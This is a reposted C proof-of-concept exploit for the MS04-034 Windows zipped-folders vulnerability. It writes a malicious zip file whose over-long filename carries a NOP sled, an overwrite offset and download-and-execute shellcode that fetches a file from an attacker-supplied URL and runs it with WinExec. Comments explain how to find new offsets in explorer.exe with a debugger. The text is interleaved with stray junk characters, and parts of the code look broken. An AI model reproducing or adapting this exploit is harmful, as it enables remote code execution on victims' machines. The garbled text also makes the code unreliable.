(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * ; x- N. \2 X$ R7 b; Y- X* Tested under Windows XP SP0 Spanish/English 7 d/ J5 O6 ^3 k$ A$ H* + X" L4 D* ~$ h: q( B) \* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html # C# P1 K5 ]7 E+ E/ n* Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 % g2 U+ \7 w( e) z# A# ]* 1 [6 [7 u) |6 ~* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 5 v9 M6 q$ I. }; C. L7 u9 V) O* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 0 i# i' [8 [5 Y' ]- O* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * / c% h/ k8 G6 k! x; \) _* Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: 4 r0 Q; d$ V$ |4 \& `* 1) attach debugger (i.e ollydbg) to explorer.exe ( `/ C5 ^5 ]* P7 G U. B* 2) open the zip file as a folder and add or move some files to it 1 M9 J+ \; M8 E H" r( Z* F* 3) search in the explorer.exe memory the shellcode and get the addresses * */ & w! H4 Z1 J2 j# v/ R/ |0 g#include <stdio.h> #include <windows.h> / `/ R" n0 M+ h _+ n 1 a# T( Y+ ~! _+ k" A8 r& ?4 h# D#pragma pack(1) 4 k, ^: [+ y) u% d, ~% t0 T/ [ ( M4 q* C; q4 ^( |#define DATOS "Tarako-Haxorcitos.com" typedef struct { 1 j- m( }* @& B2 H5 j" L# cDWORD Signature; // PK.. 4 bytes (0x04034B50) ) ]5 I5 G- `+ Y s# r, VWORD VersionNeeded; 1 Z S$ C6 V2 |4 ]- k" dWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; : r5 x3 V" `1 PWORD ModFileTime; . Z/ ?8 `* o. g1 r1 Y2 TWORD ModFileDate; / C4 _6 k" ] ]1 _1 C0 }DWORD Crc32; DWORD CompressedSize; ; Q! `. s7 u4 u; G5 d2 g& Q) T, rDWORD UncompressedSize; % [/ J& Z" A8 s. R/ fWORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) * g; e) w' T9 G& z8 l6 P* `// extra field (variable size) }TOPHEADER; - ~7 L" i/ v, } typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) 3 V* U0 B1 J5 S) I, |# qWORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas : F% S) p6 {2 F+ |) [, }WORD CompressionMethod; 4 j1 N* t7 { x* B! \7 m+ e- _9 UWORD ModFileTime; WORD ModFileDate; $ X) X0 S3 S" l3 N8 ZDWORD Crc32; + U* i5 a7 X( M- y: B, u* a6 g' k; TDWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; ( F8 Y# a, x4 U/ yWORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; * i6 _0 ^9 J* X/ A; T, B; \2 s& z// filename (variable size) // extra field (variable size) . i2 Z& d8 v* c1 ]// file comment (variable size) }MIDDLEHEADER; typedef struct { 2 w3 d; r9 Z2 X: b' yDWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; 4 Z( m/ p# s; b+ O- M) WWORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; 8 [1 Z2 @2 w2 ]: F/ u ODWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 3 x" p: T8 u7 q# r3 u + L E9 H6 ]8 C3 {/* * download shellcode - RaiSe - raise@netsearch-ezine.com */ ' s0 U+ M5 M& g- o% u: y# xchar shellcode1[] = ! p1 D7 Y8 {& c"\xEB\x5D\x5F\x8B\xF7\x80\x3F" 9 }- n# M7 ^. ~6 s6 Q/ d! s8 U"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 5 i# M1 I5 D; t' P) z h) o+ H# z"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" ( p% P! K1 R5 D3 Q0 y" j+ H"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" 4 K6 g1 i- T( Y. f; c"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" ( Y$ i0 X+ l/ O5 P"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" 7 K) x6 U) W4 E9 F5 }6 Q) y"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" & g& u0 |: Q! k8 Q, W"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" . k/ c3 C" }" l2 ["\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 7 ?, h2 g% _8 Q2 j8 x"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" + t$ q! P5 o! b+ D6 o"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 0 |5 O. c! f( X- n"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" 9 T9 t- S& L$ }& t! k"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" & ?& d; r2 C- J7 u! O3 a" B4 u i"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" 8 _' e) ~3 U+ y4 w"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ) C* b/ M' V' e4 y"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" ; C% u0 l/ e& I% e0 K"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; " Z2 J# z4 |. M3 H9 [: N' X5 hchar shellcode2[] ="\x08\x01"; 3 {# C8 s! {' {5 a+ D) ~6 a# Xchar offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; ' k! L* d5 Q5 d. _+ P * S, Y+ Y0 U+ W; `4 \int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; " `- ^' f3 J' q+ x6 sBOTTOMHEADER *Cabecera3; % s3 r/ I3 K7 ^- @# e9 i+ F C+ \4 C5 F- Y y, TDWORD c; 0 u6 a$ v. y3 c) [UINT i; char *filename; ' ^1 Z4 d+ @; s$ M; `" j& `/ ychar *url; $ f/ j3 P3 j& W4 O9 s- v. E/ q printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); ) M' m% I" l- `* Pif (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); ' w( E+ {' V% w2 |3 v' X1 Mexit(1); ! G; {% L( l7 r, G. N- {2 p5 |% t} url=argv[1]; ( F# F/ j0 L, N, n$ @; \1 Vprintf("\n * URL: %s",url); 7 H8 P* g+ W( P* ^ ! }3 ~, i0 P5 d" \4 tif (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); / N, K r2 h. n7 Aexit(1); } ) M7 s' G7 {0 j / h5 q; ?. W; ]+ @. Nc=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); 5 T* g2 P; m" D! X7 {9 F9 T* A$ mmemset(filename,0,sizeof(filename)); & A4 C% U, d- s9 [5 hfor( i=0x0;i<c;i++) filename=(BYTE)0x90; $ a9 A8 S A. r& i: o9 j memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); / [; |1 W8 n' X# _0 ^% K( vmemcpy(filename+0x1818,offset,strlen(offset)); memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); memcpy(filename+(c-4),".txt",4); 1 j( |% l' {5 O- ~$ f Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 7 r4 e- Y2 o4 i, `3 h; WCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); % X, c! g+ d( }8 J) P, W4 h/ @Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); 3 d: Q0 n }) e1 U% P# e+ [# Amemset(Cabecera3,0,sizeof(BOTTOMHEADER)); . b9 W: K6 Z6 R0 ~5 b: G /////////////////////////////////////////////////////////////////// 7 {& L$ [0 |. a4 l// TOPHEADER - {6 L* O3 H# s& ?1 ^/////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD ; C8 Z/ D- m$ ^( W! h* ICabecera1->VersionNeeded=0x000A; // WORD , Q) r) \ ^+ ?6 ^$ m4 sCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD * ~- _/ {8 n( G+ y- ?1 N4 GCabecera1->ModFileDate=0x3154; // WORD : @! ?+ \9 d2 Z/ f* ICabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD 9 ~$ \4 X. r6 F4 o) zCabecera1->UncompressedSize=0x00000015; // DWORD 8 E! @2 g {& X( tCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); - ^- a- _6 P$ ?& uCabecera1->ExtraFieldLength=0x0000; // WORD ( ?, c0 r. s, U3 E/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // MIDDLEHEADER ; S5 V* b5 w7 E) V$ n c/////////////////////////////////////////////////////////////////// 1 r. t5 k; W; s, hCabecera2->Signature=0x02014B50; // DWORD 5 z& U3 R) ?9 T9 e! dCabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD 3 r' J9 Q. `$ o# n, `( k2 y v( wCabecera2->GeneralPurposeFlag=0x0002; // WORD ; L0 }6 z1 U" S# D. X& C+ xCabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD 6 l# B" G4 t% c8 K; u$ `5 U' P: H2 `1 aCabecera2->ModFileDate=0x3154; // WORD " `. V. c0 J( y" cCabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 3 o4 y u, d9 zCabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD + l2 y2 U5 }% Q0 I+ PCabecera2->ExternalFileAttributes=0x00000020; // DWORD - ?" Y- c8 S$ cCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD # R6 m$ a+ v5 V, |$ \; f/////////////////////////////////////////////////////////////////// 1 ~2 N" Z! r. [) @. M9 O /////////////////////////////////////////////////////////////////// // BOTTOMHEADER ( n! }: f/ S. k) |4 k/////////////////////////////////////////////////////////////////// ; q* b3 \4 e9 [# {5 i( nCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 6 y# a0 q4 s" QCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD - u* b4 S' h, N$ E& K2 A6 yCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 5 b; v. F' w: A- j: F) DCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 0 |( [( G; `! P7 M! u# u4 M0 j8 ?fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); 2 B4 [* v) |/ a, A+ B3 V. pfwrite(DATOS,strlen(DATOS),1,ZipFile); 0 D2 b8 ~4 t, k0 D. G* o; [5 Mfwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 3 ]( ^2 g3 N$ B+ W8 W8 |fwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); fclose(ZipFile); printf("\n * prueba.zip created\n"); return 1; 2 C/ s, H3 c t0 `. V( X}//downloaded from milw0rm.com